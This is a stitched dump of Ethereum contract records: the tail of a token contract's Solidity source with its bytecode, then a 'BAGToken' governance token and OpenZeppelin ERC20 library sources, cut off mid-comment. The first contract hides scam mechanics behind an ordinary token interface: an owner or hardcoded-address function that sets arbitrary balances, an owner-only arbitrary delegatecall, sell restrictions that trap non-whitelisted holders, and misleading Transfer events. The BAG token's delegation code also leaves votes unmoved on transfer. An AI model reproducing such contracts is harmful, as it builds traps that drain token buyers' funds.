allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb146104ec578063aa2f522014610552578063d6d2b6ba1461062c578063dd62ed3e14610707576100dd565b806370a08231146103905780638cd8db8a146103f557806395d89b411461045c576100dd565b806318160ddd116100bb57806318160ddd1461024b57806321a9cf341461027657806323b872dd146102df578063313ce56714610365576100dd565b806306fdde03146100e2578063095ea7b314610172578063109b1ee6146101d8575b600080fd5b3480156100ee57600080fd5b506100f761078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082a565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b50610231600480360360408110156101fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561025757600080fd5b50610260610a77565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b61034b600480360360608110156102f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b23565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610e36565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b506104426004803603606081101561041857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610e53565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610471610ef7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b604051808215151515815260200191505060405180910390f35b6106126004803603604081101561056857600080fd5b810190808035906020019064010000000081111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111640100000000831117156105b957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b6107056004803603604081101561064257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067f57600080fd5b82018360208201111561069157600080fd5b803590602001918460018302840111640100000000831117156106b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611213565b005b34801561071357600080fd5b506107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611324565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109b9575073c6502921bcaa4b90d4abbb3bca7700f4ac13313073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109c257600080fd5b6000821115610a16576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad957600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080821415610b365760019050610e2f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7d5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bf257600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610c88848484611349565b610c9157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cdd57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eaf57600080fd5b60008311610ebe576000610ec6565b6012600a0a83025b60028190555060008211610edb576000610ee3565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8d5780601f10610f6257610100808354040283529160200191610f8d565b820191906000526020600020905b815481529060010190602001808311610f7057829003601f168201915b505050505081565b6000610fa2338484610b23565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461100657600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561105a57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b84518110156112075760008582815181106110c457fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161117457fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816111e357fe5b046040518082815260200191505060405180910390a35080806001019150506110ad565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126d57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106112b85780518252602082019150602081019050602083039250611295565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114611318576040519150601f19603f3d011682016040523d82523d6000602084013e61131d565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008061137f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230611585565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061142a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806114745750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806114aa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115025750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115565750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561156557600191505061157e565b61156f8584611713565b61157857600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106115c45783856115c7565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561172857506000600254145b801561173657506000600354145b1561174457600090506117e3565b600060045411156117a0576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179f57600090506117e3565b5b600060025411156117bf578160025411156117be57600090506117e3565b5b600060035411156117de576003548211156117dd57600090506117e3565b5b600190505b9291505056fea265627a7a723158204809f036808ba6b2941051c874798aacbf06c27d53e0c9dc94fe77956e29425064736f6c63430005110032
[ 15, 8 ]
0xf33121A2209609cAdc7349AcC9c40E41CE21c730
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; // BAGToken with Governance. contract BAGToken is ERC20("Blockchain Adventurers Guild", "BAG"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (BagBang). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "BAG::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "BAG::delegateBySig: invalid nonce"); require(now <= expiry, "BAG::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "BAG::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BAGs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "BAG::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an 